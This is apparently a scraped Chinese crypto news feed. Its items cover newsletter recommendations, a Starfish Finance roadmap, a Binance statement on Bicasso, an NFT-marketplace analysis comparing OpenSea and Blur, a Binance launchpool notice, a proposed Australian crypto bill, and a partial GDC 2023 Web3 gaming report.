负责撰写的，为订阅者带来治理、技术、链上分析、DeFi 项目、加密市场分析以及挖矿策略等方面的内容，每两周更新一次。 订阅地址： https://optimismbysublidefi.substack.com 10、The Black Swan The Black Swan 由 @Route2FI 负责撰写，为用户提供信息丰富的加密信息，满足用户在加密货币领域的各种需求。 订阅地址： https://route2fi.substack.com 11、The Ape Enclosure The Ape Enclosure的作者是 @danblocmates，每两周会为用户带来通俗易懂的 DeFi 见解、热点新闻和行业解密。 订阅地址： https://blocmates.beehiiv.com 12、1% Better @1BetterbyNFTGod 是由 @NFT_GOD 撰写的一个消息频道，会给用户分享一些作者的日常习惯、创造、编程、阅读、写作等方面的内容，致力于让世界变得更加美好，同时帮助用户培养成长心态，以更好地应对挑战。 订阅地址： https://1percentbetter.io 13、Wale Drops Wale Drops 由 @waleswoosh 负责撰写，这是一个月更的消息频道，每月为用户带来对有趣的 Web3 主题深入分析。 订阅地址： https://waleswoosh.substack.com 14、The DeFi Investor The DeFi Investor 的作者是 @TheDeFinvestor，他每周会更新币圈的一些热点新闻，旨在让用户获取更多的 DeFi 机会并了解行业的最新动态。 订阅地址： http://thedefinvestor.substack.com 15、Technical Roundup @RoundupCrypto 由 @CryptoCred 和 @CryptoDonAlt 两人同时负责撰写，每周发布一次，提供干货满满的技术分析。订阅了他们的消息，相信您将会受益匪浅！ 订阅地址： https://technicalroundup.com 如果大家还有其它有价值的消息渠道，也欢迎加入我们的微信群，进行交流与补充。添加小助手（Biteye01）入群！此外，我们也有电报群 https://t.me/biteyedaily，分享每日阿尔法信息、TVL面板、热门推特账号、NFT趋势等信息。  ( 2 min )
    Starfish Finance的未来：DOT流动性质押和Entertainment-Fi
    春天，万物复苏，市场回暖。海星Starfish Finance公布了全新路线图。随着Web3行业及市场的不断变化和技术的不断进步，他们意识到需要不断地调整和优化产品的发展策略，以保持海星独特的竞争优势。 在过去的几个月中，海星团队投入了大量时间和精力，进行了广泛的研究和分析，以确定其新的发展方向。最终，海星确定了一份全新的路线图，当中包含市场上火热的$DOT Liquid Staking波卡流动性质押，主打Entertainment-Fi的海星主题游乐场以及未来的海星社群DAO三个重磅功能。 同时，Starfish将会主力输出鲜明活泼的品牌文化，以及简洁流畅的用户体验，给予用户寓“收益”于乐的全新体验。这次海星的重新出发，将改写传统DeFi项目流动性的困局，打造全新的一站式Entertainment-Fi。 Starfish和Astar Network与Polkadot一起协作$DOT的Liquid Staking（流动质押）功能即将上线。在Polkadot生态系统中，流动性质押可以帮助用户利用他们的PoS代币$DOT，获得收益并保持资产的可用性。流动性质押的概念是将用户质押的代币转化为具流动性的代币$sDOT，这些代币可以在DeFi市场上进行交易和投资，同时仍然可以在波卡的中继链获得$DOT的质押收益。 用户可以用$sDOT来交易，增添流动性，挖矿获得更多收益，并解锁平台的各类体验；也可以在任何时候用$sDOT以1:1的比例赎回他们的$DOT代币。简单，方便和高效地收获回报。 Prediction Market预测市场上线Arbitrum和Astar Network - 海星游乐园Entertainment-Fi的第一步 Starfish Finance的第二个目标，将是打造一个海星主题的DeFi游乐园。融合娱乐，金融和社交三个元素，以海星SEAN的品牌形象打造一个全新的一站式DeFi体验。Starfish Finance代币$SEAN将会贯穿整个海星世界的所有元素，以推进代币赋能并铸造一个全新的经济体验，目标连结Web3大大小小的各类社群。 作为海星游乐园Entertainment-Fi的第一步，海星将在年内推出Prediction Market预测市场。如果说DeFi的上一个爆火叙事是去中心化金融的金融衍生品交易平台，下一个备受关注的领域将会是预测市场和金融衍生品，不仅可以帮助投资者降低风险，并更好地理解市场趋势，还能让成熟的投资者通过自己的分析轻松地获得收益。预测市场的未来充满机遇和挑战，团队相信它将会成为未来数字资产市场中的重要组成部分。 海星的品牌文化以及跨链未来 Starfish Finance的终极目标是塑造一个源自海星社群的原生文化。海星活泼的品牌形象，标志性的海星Sean就是其文化中重要的一部分。团队将以海星的IP作为锚点，探索并挖掘在漫画，Meme，纪念品以及NFT藏品等文创产业类的价值，并将这方面的价值反哺给海星的忠实社群。截止目前，团队已经创作了数款外套及T恤回馈社群的忠实用户。未来这些商品也将会上架海星世界，作为用户的奖励之一，也会开放用$SEAN代币来支付的购买渠道。 Starfish Finance背靠日本第一公链Astar Network的同时，面向各大生态圈，团队将持续努力寻求跨链协作的项目，务求蒸蒸日上，让品牌宣传到Web3的每一个角落。 进化，起航。 官方推特：https://twitter.com/Starfish_Fi 官方Discord：https://discord.gg/SxBNRR3EwM 官方Telegram：https://t.me/starfishfinanceofficial 官方中文电报社群：https://t.me/StarfishFinance_Chinese Medium：https://medium.com/@starfishfinance Gitbook：https://starfish-finance.gitbook.io/starfish-finance/ 官方网站：https://starfish.finance/ SEAN Times新闻周报：https://news.starfish.finance/  ( 1 min )
    币安发言人：Bicasso未抄袭Chatcasso项目，设计和开发早于之前的BNB Chain黑客松
    PANews 3月30日消息，据Cointelegraph报道，针对Hunt Town联创指控币安Bicasso产品窃取其在BNB Chain黑客松上提出的创意（即Chatcasso项目），币安发言人回应称：“尽管有相似之处，但在进行内部审查后，我们相信Bicasso是在BNB Chain黑客松前两周独立设计和开发的。Bicasso是币安的一个小团队作为测试建立的一个实验项目，NFT和人工智能是许多行业参与者共同研究的概念。币安和BNB Chain是分开运营的，币安开发团队不参与BNB Chain黑客马拉松，Bicasso这个名字的灵感来自OpenAI工具Dall-E。”  ( 4 min )
    OP Research：NFT MarketPlace的终局之战
    作者：Jam 编辑：Vincero, YL, CloudY 数字资产的独特性使得它们可以用来证明数字物品的所有权和稀缺性，从而为数字艺术家和创作者提供了新的收入来源。 Blur在利用空投激励、挂单激励、自建交易市场与聚合器等多种手段的结合，超越了Opensea。虽然Opensea在这之前是流动性最好的NFT市场，但Blur的综合策略使其在市场上获得了越来越多的关注。当前Blur的流动性解决方案是最好的，其市场和聚合器的结合为用户提供了更广泛的选择。这一点是非常重要的，因为在NFT市场中，流动性往往是关键所在，而Blur的流动性解决方案已经被证明是非常可靠的。 为了迎接冲击，Opensea将手续费降至0%，表明了其对竞争对手的重视。然而，这种策略可能会对Opensea的可持续性产生负面影响。可选版税是另一个战略板块。这使得Blur能够在市场上提供更多的选择，从而吸引更多的用户。细分的Marketplace难再有机会。 虽然在NFT市场上还有很多机会，但是像X2Y2、LooksRare以及Uni V3（Genie）这样的细分市场已经难以再有机会了。这是因为这些市场已经被大公司和实力雄厚的竞争对手所占据，新进入的公司将面临巨大的挑战。 Blur在NFT市场上的综合策略已经被证明是非常成功的。虽然市场竞争激烈，但Blur在市场上的表现越来越好，这表明了其策略的可行性和实用性。 我们将结合NFT Marketplace过去的发展轨迹，探索未来可能的范式。 Crypto Kitties Market是最早的NFT交易平台，最初是作为Crypto Kitties游戏的一个扩展而建立的。Crypto Kitties（最早的NFT）是一个基于以太坊的游戏，玩家可以购买、繁殖、出售数字猫。每只数字猫都是独一无二的，使用了NFT来确保其独特性和流通性。 它的生态系统由平台、用户、数字猫咪、交易市场组成。平台提供数字猫咪的创建、购买、繁殖和出售服务，同时还提供数字猫咪的展示、社交互动和交易市场。用户购买、繁殖和出售数字猫咪，并参与社交互动和活动推广。数字猫咪的品种、繁殖季节和竞赛活动也为平台增加了不少乐趣和互动性。交易市场为用户提供了数字猫咪的购买和出售服务，并提供了交易历史记录和价格走势分析。所以，Crypto Kitties Market的设立初衷是为了完善数字猫的货币属性和资产属性。 Crypto Kitties Market的发展非常迅速，也吸引了越来越多的用户和收藏家加入其中，带动了NFT交易市场的发展。除了Crypto Kitties之外，该平台还开始支持其他类型的数字资产，如数字艺术品、游戏道具等。 尽管Crypto Kitties Market的交易速度非常慢，这主要是因为它是基于以太坊构建的，而以太坊的交易速度和处理能力有限，提供的交易品种也有限。但是，Crypto Kitties Market对NFT市场的发展和推广做出了重要贡献。它的出现为NFT交易市场的发展开辟了先河，也为其他更先进、更方便的NFT交易平台提供了启示。   （Crypto Kitties Market UI）   NFT Summer标志着NFT市场的爆发式增长和普及 2021年的夏季，NFT市场经历了一个快速的增长和普及期。在这个时间段内，NFT交易量和NFT价格都创下了历史新高。Opensea 在NFT Summer期间迅速发展，并成为最大的NFT交易平台之一。在这个时间段内，OpenSea的交易量和用户数都大幅增加，平台上的NFT价格也达到了历史新高。 2021年的NFT交易总额达到了约200亿美元，创下历史新高。这个数字比2020年增长了约10倍。NFT市场的主要平台包括OpenSea、Nifty Gateway、Super Rare、Foundation等。在NFT Summer期间，一些项目尤为受欢迎，如CryptoPunks、Bored Ape Yacht Club、Art Blocks等。 在NFT Summer期间，各种PFP（Profile Picture）项目迅速崛起，吸引了大量的用户和投资者。PFP是指以数字形式呈现的头像图片，可以用于社交媒体、游戏或其他在线场景。但是，这些PFP项目并不仅仅是简单的头像，而是一种身份认同和社群建设的象征，类似于在现实生活中穿戴的时尚单品。 于是，一场疯狂的抢购战就在NFT市场上展开。投资者和收藏者纷纷加入，以数百万美元的价格购买各种PFP作品，以显示自己的身份和社会地位。即使有些作品的设计看起来甚至有些奇怪，但在NFT市场上却能够获得高价。有些人甚至为了买到心仪的PFP，不惜花费上千美元的手续费。 然而，NFT Summer并不是一个平静的夏季。随着投机情绪的升温，一些PFP项目的价格开始出现暴跌，投资者和藏家纷纷抛售手中的作品，市场情绪开始出现动荡。一些PFP项目因为缺乏足够的社群支持而无法生存下去，它们就像在海洋中的小船一样，最终被大浪淹没。在NFT Summer之后，人们开始反思这场疯狂的数字艺术狂潮，一些人认为这只是一种短暂的投机行为，而另一些人则认为这标志着数字艺术市场的新篇章的开启。 不管怎样，NFT Summer是一个充满了机遇和风险的时期，它展现了NFT市场的潜力和魅力。 （以太坊月计交易量） PFP引爆NFT交易 NFT资产累计交易额约为400亿美元，其中PFP交易金额超过250亿美元，占比超过62.5%。这个数据表明，PFP在NFT市场中的交易量和交易金额占据了非常大的比例，也反映出人们对于个人身份和数字形象的重视和需求。同时，这也意味着在NFT市场中，PFP是最受欢迎和活跃的资产之一，成为了市场的主要推动力之一。 从经济学角度来看，PFP的火爆主要与供需因素有关。首先，由于NFT市场的快速崛起，越来越多的人开始注意到NFT的投资价值，并愿意为其支付高昂的价格。其次，PFP市场的供给相对较少，因为PFP是由个人或团队进行设计和发行，其数量通常受到限制。因此，PFP的供给相对较少，但需求却很高，导致价格不断攀升。然而，随着PFP市场的扩大，越来越多的设计师和团队正在涌现，为市场带来更多选择和竞争，进一步推动了市场发展。 从社会学角度来看，PFP的火爆也与社交因素有关。PFP不仅可以显示个人风格和身份认同，还可以作为社交资本的一种形式。许多人在购买PFP时，会选择那些与自己身份认同或兴趣爱好相关的设计，以便在社交圈中获得更多的关注和认可。此外，由于PFP的供给量有限，一些设计受到的欢迎程度往往较高，因此拥有这些受欢迎的PFP也可以成为社交资本的一种形式。随着PFP市场的发展，人们对PFP作为社交资本的认识也在不断提高，这进一步推动了市场的火爆。 这对于NFT的发展和未来有一些启示。首先，随着数字化程度的不断提高，人们对于数字身份和数字资产的需求将越来越大，因此数字艺术品和数字收藏品等NFT资产的市场潜力将不断释放。其次，随着技术的不断进步和普及，更多的人能够参与到NFT市场中来，从而进一步推动市场的发展。最后，PFP作为NFT市场中的主要资产之一，也表明了市场的一些偏好和趋势，这为NFT市场的投资和经营提供了一些参考和指导。 （按种类细分的累计交易量（时间截至20230320）） OpenSea成为NFT Summer的龙头MarketPlace 先发优势。Opensea是较早建立的NFT Marketplace，于2017年成立，并且得到了一些著名资本的支持，并在2022年初获得130亿美金的高估值。这使得Opensea在NFT热潮开始前就已经建立了一个较大的用户群体和收藏者受众，这使得该平台能够迅速地吸引更多的卖家和买家。Opensea提供了种类最广泛的NFT，包括收藏品、PFP、虚拟地产、游戏物品、音乐、电影和其他收藏品。这使得平台能够吸引有多元需求的用户，并让他们在同一个平台上进行交易。 Web2和Web3的桥梁。Opensea的用户界面非常简单易用，这使得不熟悉区块链技术的人也可以轻松进行交易，在一定程度上降低了NFT市场甚至是Crypto的准入门槛，为Crypto行业带来了一定的增量资金。同时，Opensea也提供了一些交易工具和资源，帮助用户更好地利用NFT。 布局多链。虽然以太坊NFTs是最大NFT生态，但Opensea在多个公链上的提前布局建立自身更强的护城河。Opensea支持多种区块链，包括Polygon、Arbitrum、Fantom等。这使得用户可以选择最适合自己的区块链进行交易，并可以享受更低的交易费用。 Opensea提供了NFT Marketplace的最早解决方案，但受限于传统的运营模式。Opensea从建立之初就明确表示不会发币，因为其采用的是传统的股权融资方式，股东的退出方式也将是传统形式，而非代币形式，所以其资本运作属于传统金融范畴。此外，其收入主要来自于交易手续费，虽然在Blur出现之前一直保持2.5%的较高的交易手续费，但为了应对Blur对市场的冲击将其降至0%。综合来说，Opensea更像一个在Web3世界套用Web2运营模式的布道者，但目前看来，Opensea的发展状态确实有点“水土不服”。   LooksRare和X2Y2相继上线，采取了通过向Opensea用户空投代币的方式，以获取初步流量积累的策略。之后，它们推出了各自的挖矿奖励，试图占据市场份额。但由于奖励机制不断减少，最终导致真实交易量持续下跌。 尽管如此，LooksRare和X2Y2仍然是与Opensea竞争的有力对手，因为它们通过优于Opensea的用户体验来实现这一目标。除了基础NFT买卖交易外，它们还推出了批量上架、批量购买等附加功能，并集成了其他交易工具，方便用户对NFT的稀有度进行查询。与Opensea相比，这两个平台的交易手续费较低，这对于那些真实交易和转账的用户来说，更加友好。不过，这也可能导致平台存在一定程度的刷量交易。 总的来说，LooksRare和X2Y2的设计理念是将Marketplace设计为“淘宝商城”的模式，即提供更便利和完善服务，收取更低的手续费。 当涉及到低价NFT交易时，批量交易是一种更为适合的交易方式。这是因为批量交易可以减少单个NFT交易所需的时间和劳动力成本，从而降低交易的成本和费用。另外，批量交易还可以增加交易的效率和速度，使交易更为迅速和高效。 然而，在进行批量交易时，需要注意征收适当的手续费以维护平台的正常运营和发展。手续费的收取应该在合理的范围内，既要能够维护平台的运营，也要能够让交易者承受得起。在批量交易的过程中，刷单现象也是需要引起重视的问题。刷单现象的出现会导致真实交易量持续下降，从而影响整个交易市场的正常运转。因此，需要采取措施来防止和打击刷单行为，维护交易市场的健康和稳定发展。 整体来说，LooksRare、X2Y2不是从功能性的差异化入手，而是从代币经济的角度切入，抓住Opensea没有平台代币这一明显短板，实施了更具有Crypto Native的策略，但随着边际奖励的减少，业务变得不可持续。这也给Blur的成功埋下了伏笔。 （LooksRare UI界面） 聚合器的故事 Gem是一个NFT聚合器项目，是在Blur上线之前最大的聚合器。 它提供了一个平台，让用户可以轻松发现和购买不同NFT市场和平台上的NFT。类似于Blur，Gem聚合了多个主流NFT市场的流量，并以较低的成本实现批量购买NFT。这可以帮助用户在不同的Marketplace上获得最好的交易，同时也为Gem本身带来更多的流量和收益。Gem具有导流作用，可以将用户从不同的NFT市场和平台引导到自己的平台上，这可能会形成一定的流量劫持效应，使Gem成为一个聚合大量NFT流量的中心。在2022年4月，Gem被Opensea收购，但保持独立运营。这意味着Gem将成为Opensea的一部分，并受到Opensea的支持和资源，但仍将继续提供其独特的功能和服务，以满足不同用户的需求。作为Opensea的一部分，Gem可以更好地服务于Opensea的用户，并扩大其影响力和市场份额。 Genie是最早的NFT聚合器项目，与Gem具有相似的功能和定位。 与Gem相比，Genie聚合的NFT市场和平台数量较少，但仍然能够为用户提供一个方便的平台，让他们可以轻松发现和购买不同NFT市场和平台上的NFT。在2022年6月，Genie被Uniswap收购，成为Uniswap的一部分。Uniswap是一个基于以太坊区块链的去中心化交易所，通过智能合约实现资产交换和流动性提供。收购Genie可以帮助Uniswap扩展其服务范围，并为用户提供更多NFT相关的工具和服务。这意味着Uniswap可以利用其在去中心化交易领域的领先地位，吸引更多用户并为其提供更多NFT服务。同时，使用Genie作为工具，Uniswap可以提供更好的NFT浏览和购买体验。此外，与新兴的NFT市场合作可以帮助Uniswap扩大其用户基础并增加收入来源。 整体来说，Gem的Genie的功能较为单一，可替代性强。此外，两个平台都未发行代币，从而无法利用代币驱动业务的持续发展。然而，在收购后，Gem和Genie都可以借助其母公司的支持和资源来扩展其服务范围，并为用户提供更多的功能和服务。这将有助于它们在竞争激烈的NFT聚合器市场中保持竞争力并实现长期发展。 （Gem UI界面） Blur的横空出世 Blur的目标人群是NFT专业交易员、鲸鱼玩家，以及散户（虽然散户人数较少），这种目标群体的定位从一开始就跟市场其他平台迥异。该平台的模式是Marketplace+Aggregator，旨在将多个市场和平台聚合在一起，为用户提供更加便利的体验，所以在这种模式下，NFT做市商和LP提供者会在一定程度上获益。 除此之外，其经济模型也值得一提，其中包括空投激励、版税费用激励和挂单激励。这些措施的目的是减小挂单缺口，为NFT订单提供稳定的流动性。但笔者认为Blur做的最好的策略是对预期的管理。比如平台第一季空投的目标是激励智能挂单，第二季空投的目标是激励Bid pool，第三季是激励做市。而这一系列操作的核心点是，规则模糊，预期永远。 此外，Blur的费率为0，同时Gas fee也非常实惠。用户可以轻松扫货，同时交易工具齐全（包括数据分析面板）。此外，相较于其他聚合器，Blur的交易速度更快，为用户带来更快捷的交易体验。功能上的差异化为Blur区分了使用人群，更专业的交易深度图表、监控流动性和地板价的工具更适合专业的交易员。 通过独特的产品定位、产品设计和空投发放方式，Blur 初步创造了一种与 Opensea 不同的定位，解决了差异化不足的问题，在众多 NFT 交易市场中脱颖而出，然而Blur真正解决的问题是流动性不足的问题。 整体来说，Blur既做到了差异化的功能性改进，也做到了代币的预期激励，在一定程度上也改善了NFT流动性不足的缺陷。 当我们在Web 2.0的背景下想到亚马逊时，脑海中浮现的是琳琅满目的商品、高效快捷的物流以及人性化的售后服务。NFT 本质上是一种消费品/商品，为NFT提供买卖平台的场所的特征与电商平台相似。因此，我们认为，NFT 市场可以看作是 Web3 的亚马逊。 首先，电子商务有几个关键的商业特征，使企业能够在线销售他们的产品。其中包括在线品类和产品信息、购物车和结帐系统、安全支付处理、订单管理和履行、客户关系管理、分析和报告以及个性化和定制选项。通过利用这些功能，企业可以创建强大的在线商场、高效地销售产品或服务、管理订单和库存、建立客户关系以及优化营销和销售策略。 此外，NFT 可以被认为是一种商品。商品被定义为可以买卖的原材料或初级农产品，例如黄金、石油或小麦。另一方面，NFT 是独特的数字资产，代表特定数字项目（例如艺术品、音乐甚至推文）的所有权或真实性证明。它们可以像其他商品一样买卖，其价值由市场供求决定。 与传统商品类似，NFT 的价值会因各种因素而波动，例如基础数字资产的受欢迎程度、艺术家或创作者的声誉，或者 NFT 本身的稀有度。此外，NFT 可以作为分散投资组合的一种手段，或作为潜在经济收益的投机资产。 总的来说，虽然 NFT 是一种独特的数字资产类型，但从它们在市场上买卖的意义上来说，它们可以被视为一种商品，并且它们的价值由市场力量决定。所以，可以认为NFT首先是一种商品，其次才是具有投资属性的资产。 有两个关键因素有助于NFT Marketplace的成功：流动性和用户粘性。在流动性方面，一个市场需要有足够数量的买卖双方来保证交易的深度从而保证交易的顺利进行。至于用户粘性，这在很大程度上是由代币经济模型驱动的，从这个角度出发的策略的最终结果不一定能转化为用户之间深厚的“忠诚度”。但是，一旦平台的流动性有所改善，再加上代币经济模型的催化作用，平台的流动性将持续形成正反馈循环，直至边际套利机会消失。 因此，我们认为 Blur 是一个现象级的项目。随着该领域的发展，我们可以期待看到具有更好性能、更快订单交易和更低总体成本的Marketplace。 更新迭代的速度跟不上市场需求变化的速度。这意味着Opensea在更新其平台和功能以满足市场不断变化的需求方面进展缓慢。Opensea在早期凭借着较好的流动性深度以及能够提供品类更齐全的NFT资产领先着市场。但NFT 市场非常不稳定，并且容易受到需求突然变化的影响，无法跟上这些变化的平台可能会失去客户给竞争对手。本质上，Opensea无法在交易性能上做出超越其他项目的东西，因为市场总会出现Fork的产品。 没有代币经济。代币经济是指使用代币作为交换和激励手段的系统。Opensea 目前没有代币经济，这可能会限制其吸引和留住有兴趣在平台上赚取或使用代币的用户的能力。LooksRare、X2Y2对其进行的吸血鬼攻击并且吸引了一批用户过去就是直接的例证。 脆弱的用户粘性。用户粘性是指用户对特定平台或品牌的忠诚度。Opensea 的用户粘性很脆弱，这意味着用户不一定忠于平台，并且可能对投机性投资（即购买 NFT，希望以后出售以获利）比对平台本身更感兴趣，换句话说，使用Opensea的大多数用户对于能够通过不同平台进行套利的需求大于对平台本身性能的追求。Blur正是瞄准这一部分用户的需求，进行了具有强预期管理的代币空投计划。 总体而言，这些因素表明 Opensea 可能难以在快速发展的市场中竞争，并且给予后发项目以启示。为了保持竞争力，Opensea 可能需要专注于改善其平台功能和用户体验，创建代币经济以激励用户参与（Opensea发币可能性不大，但很大可能通过旗下的Gem发币），并建立更牢固的客户关系以提高用户粘性。 （最近2年NFT Marketplace的市场份额） Blur能走多远 NFT 市场面临的最大挑战之一是确定 NFT 的价值。与传统资产不同，NFT 是独一无二的，没有其他内在价值的支撑。因此，确定 NFT 的底价或公允价值可能很困难。这种缺乏透明度使得很难进行额外的衍生品交易或二级市场交易，因为买卖双方可能无法就资产的价值达成一致。Opensea 和 Blur 等试图通过为 NFT 交易提供透明且值得信赖的市场来解决这个问题。 Opensea 是最早的 NFT 市场之一。该平台通过允许用户构建不同的 NFT 并培养社区文化。这种方法成功地建立了忠实的用户群，Opensea 的成功为 LooksRare 和 X2Y2 等其他市场提供了范式，它们采用了类似的模式，但增加了代币经济来推广自己的产品。 Blur 是另一个 NFT 市场，它更侧重于投机而非收藏。这些用户的底层目的是来 Blur 赚钱，他们不关心持有的 NFT 类型，只要它有底价即可。Blur 被视为投机者的平台，投机者对价值发现和进行有利可图的交易比对建立收藏更感兴趣。 因此，我们认为NFT Marketplace的护城河不深。 当下，我们可以将有做市商、LP和交易员参与的平台看作是专业化的NFT Marketplace，代表项目为Blur；而那些仅提供最基础的Mint、Collect、Buy和Sell的平台看作散户化的NFT Marketplace，代表项目Opensea。事实上，NFT Marketplace的竞争也是集中在两者。对于专业化的Marketplace而言，能否给交易者更稳定的交易深度以及更专业的交易工具是其需要注重关注的要点。而对于散户化的Marketplace需要思考如何为平台赋能，给平台带来持续的流量输入。因为初期的流量导入是NFT Marketplace能否起步的关键因素。 综上，我们做出以下结论性的预测：   Reference [1]Devin Finzer,Opensea收购Gem以投资“专业”体验，Opensea Blog，2022，25（4）：https://opensea.io/blog/announcements/opensea-acquires-gem-to-invest-in-pro-experience/ [2]Karen，一文读懂Genie和Gem：NFT市场聚合平台先行者，Foresight News，2022，12（2）：https://www.defidaonews.com/article/6729148 [3]Kunal Goel，Meessari：OpenSea收购Genie将如何“破局”？，微信公众号，2022，05（7）：https://mp.weixin.qq.com/s/ph8vNngMgU8344xNYsxxOQ [4]Alastair,NFT金融（NFTfi）和场外交易的兴起，旧时尚研究，2022，13（6）：https://mirror.xyz/0xe70628e0E8e15F222AAdb406ce93fea713d6c30e/1LT5liPLgVCoWx8fVxudYVQYg-L-E7wKJWYVkdV-tUI [5]Alex Atallah，在OpenSea上免费创建NFT，Opensea Blog，2020，29（12）：https://opensea.io/blog/announcements/introducing-the-collection-manager/  ( 5 min )
    币安上线第32期新币挖矿，使用BNB、TUSD挖矿RDNT
    PANews 3月30日消息，据官方公告，币安现已上线第31期新币挖矿项目Radiant Capital（RDNT），一个去中心化跨链借贷产品项目。 用户可以在3月30日08:00后在Launchpad网站将BNB、TUSD投入到RDNT挖矿池中获得RDNT奖励，RDNT共计可挖矿40天。网站预计将于此公告的大约四小时后、挖矿活动开放前更新。挖矿时间为3月31日08:00至2023年5月10日7:59。 此前今日早些时候消息，币安创新区宣布于今日15:30上线Radiant Capital (RDNT)。  ( 4 min )
    屋漏偏逢连夜雨：美国之后，澳大利亚将加强对加密行业的监管
    撰文：anushsamal 编译：区块链骑士 本周三，澳大利亚反对党参议员 AndrewBragg 向该国议会提出了一项新法案，要求对 Crypto 交易所实施许可制度。 如果获得通过，该法案将要求澳大利亚 Crypto 交易所获得合法运营的许可证，使其与该国其他同样受许可要求约束的金融服务提供商保持一致。 Bragg 提出了《2023 年数字资产（市场监管）法案》，作为一名私人参议员的法案，旨在通过引入监管措施来保护消费者，鼓励对数字资产的投资。 该法案还包括监管稳定币和托管义务的规定。 虽然澳大利亚部长通常会提出新的监管改革，但议会教育办公室指出，议会个人议员也可以提出私人议员或私人参议员的法案。 Bragg 还批评现任工党政府未能实施多项与 Crypto 法规相关的建议。 澳大利亚参议院特别委员会于 2021 年 10 月将这些规定作为技术和金融中心引入。 监管是多个司法管辖区 Crypto 行业的中心舞台。 Bragg 参议员认为，澳大利亚政府无法确保对该行业的监管透明度，这使得该行业容易受到全行业事件的影响，例如 FTX 的崩溃。他表示： 「澳大利亚可以成为数字资产中心，同时保护数字资产消费者，但我们现在必须采取行动。」 这项立法提案出台之际，澳大利亚和全球对 Crypto 行业的审查越来越严格。 去年，澳大利亚交易报告和分析中心（AUSTRAC）对两家全球 Crypto 交易所币安和 Coinbase 提起了法律诉讼。 这两家交易所涉嫌违反了反洗钱和反恐融资法。 拟议的框架要求企业满足各种要求，包括维护交易记录，遵守 KYC 和反洗钱法规。 澳大利亚的 Crypto 托管服务和稳定币发行人将受到该法案中概述的相同监管规定的约束。 该立法规定了交易所、托管服务和稳定币发行人的若干责任和条件。 这包括维持最低资本或准备金要求，分离客户资金，提供客户持股报告，进行审计，确保透明度，并披露相关信息。 如果该法案获得通过，澳大利亚将加入越来越多的国家，包括美国、日本和欧盟，为 Crypto 行业引入监管。 澳大利亚正在就 Crypto、数字资产、通证、服务和平台的分类进行公开咨询。 这份名为「通证映射」的咨询文件于 2 月份发布，提供了有关 Crypto 和行业的基本定义的信息。  ( 4 min )
    游戏盛会GDC上的Web3片段：经济模型的反思，传统游戏商转型
    3月20日至24日，一年一度的游戏行业盛会Game Developers Conference 2023（GDC 2023）在美国旧金山举行。据GDC官方于3月29日公布的数据，GDC 2023吸引了超2.8万名与会者，共计超过1000位演讲者和700场会议、研讨会、圆桌会议。要知道，受疫情影响，GDC大会已连续取消两届，2022年恢复后也似乎人气不再，仅有1.2万人参加，与盛况空前的GDC 2019的2.7万与会人数相去甚远。正如官方所说，只有一种方式可以描述今年的大会：“GDC 回来了”。 GDC 的核心是一年一度的主舞台展示，今年的主题是“游戏的未来”，这与近些年才进入大众视野且方兴未艾的区块链游戏在理念上不谋而合。在GDC 2023，有超过20场的会议专门讨论区块链游戏，举办方既有Web3独角兽Polygon、Immutable，也有转型发展Web3游戏的传统游戏巨头WeMade、Nexon等。而与会的项目方还有Avalanche、Boba Network、Chainlink、Cronos等加密基础设施，以及Createra等一众Web3游戏开发团队。 总的来看，链游赛道在大会期间颇为热闹，有多家公司相互联手宣布达成战略合作，也有成功转型Web3的游戏发行商分享构建游戏及其平台的经验，本文将介绍GDC 2023期间部分值得关注的信息。 根据Delphi Digital的报告，以太坊的layer2扩容方案Immutable X和Polygon的游戏生态系统在2022年均累计获得了近9亿美元的投资，成为链游赛道名副其实的龙头。就在GDC开幕之际，Polygon Labs和Immutable X母公司Immutable就先放出了大新闻。双方宣布建立战略合作伙伴关系，以加速Web3游戏的开发，将合作创建 Immutable zkEVM，一个基于Polygon的零知识技术构建的EVM兼容的zk-rollup扩容解决方案。值得一提的是，I在公开这一消息的当天，Immutable还顺带公布了IMX的两项效用升级：平台费用的20%必须以IMX支付；IMX将被用作Immutable zkEVM的核心Gas货币，成为原生网络代币。 Polygon还将目光聚焦到了亚洲，为韩国游戏巨头Nexon进入区块链行业提供了支持。在GDC大会的第二天，Nexon宣布其正在创建一款名为《MapleStory Universe》的Web3游戏，并将通过Polygon Supernet获得该游戏的“专用应用程序链”。《MapleStory Universe》基于Nexon在2003年推出的2D横版卷轴网络游戏《MapleStory》（枫之谷，又称“冒险岛”），后者在近二十年间一直广受欢迎，迄今已产生超过 40 亿美元的收入，注册用户累计超过 1.8 亿。MapleStory Universe的开发团队在声明中表示将与 Polygon Labs 的团队密切合作，开发和营销这款新游戏。 虽未达成进一步战略合作，Polygon Labs还与韩国游戏巨头NEOWIZ一起联合参加GDC大会，宣传后者开发的创新Web3游戏平台Intella X，并展示即将在该平台推出的FPS游戏《A.V.A》、NFT PFP项目“Early Retired Cats Club”等。此外，国人熟知的手机品牌OPPO也和元宇宙平台Createra达成光线追踪技术等合作，将一起为用户带来更好的游戏体验，双方也在美国游戏大会(GDC)上联合参展。 GDC大会第四天，Near Foundation宣布同已成功转型Web3的韩国游戏公司WeMade建立战略合作伙伴关系，负责监督 Near Protocol 在韩国和亚洲的业务发展的Near Korea Hub在此次合作中发挥了关键作用。WeMade与 Near Foundation签署了业务协议，双方将共同支持提高相互品牌知名度的举措；投资于跨链的研究和合作；举办更多社区活动，例如编程马拉松和训练营；以及发掘潜在的 Web3 商机，培育下一代 Web3 开发者。 Immutable X继续扩张Web3游戏版图 Immutable X是Web3领域中发展最快的独角兽公司之一，其在短时间内吸纳了众多链游项目，并仍保持着快速发展的势头。在GDC大会期间，Immutable X宣布与BazookaTango、Bit Fry Game Studios和Studio 369三家游戏工作室达成合作关系。Immutable X将通过与Polygon联合推出的Immutable zkEVM来与三家工作室共同完成游戏开发，以进一步扩展其web3游戏系列。 Bazooka Tango与Immutable X的合作意在通过结合Web3的方式，使已经基本“凉透”战棋游戏《Shardbound》东山再起。这款游戏最初由Spiritwalk Games于2015 年推出，有着精美的游戏画面和美术设计，并曾收获了充满热情的玩家社区，但受制于开发团队缺乏资金等原因，造成游戏开发不完整，因而很快就日薄西山，其版权现归Bazooka Tango所有。Immutable X和 Bazooka Tango仍未决定新的 Web3 版本将在哪些游戏平台上发布，目前Steam和对NFT友好的Epic Games Store都是考虑对象。 Bit Fry Game Studios是一家独立游戏工作室，主打各类体育游戏，得到过专注于游戏的风投公司BitkraftVentures和已故的前NBA总裁大卫斯特恩等支持。通过与Immutable X合作，他们致力于颠覆体育游戏类型，其第一步便是宣布合作推出《Infinite Victory》。这是一款未来科技风的街机体育游戏，在以Bit Fry Game Studios早前发布的《Ultimate Rivals》的基础上，通过应用P2E 和 NFT 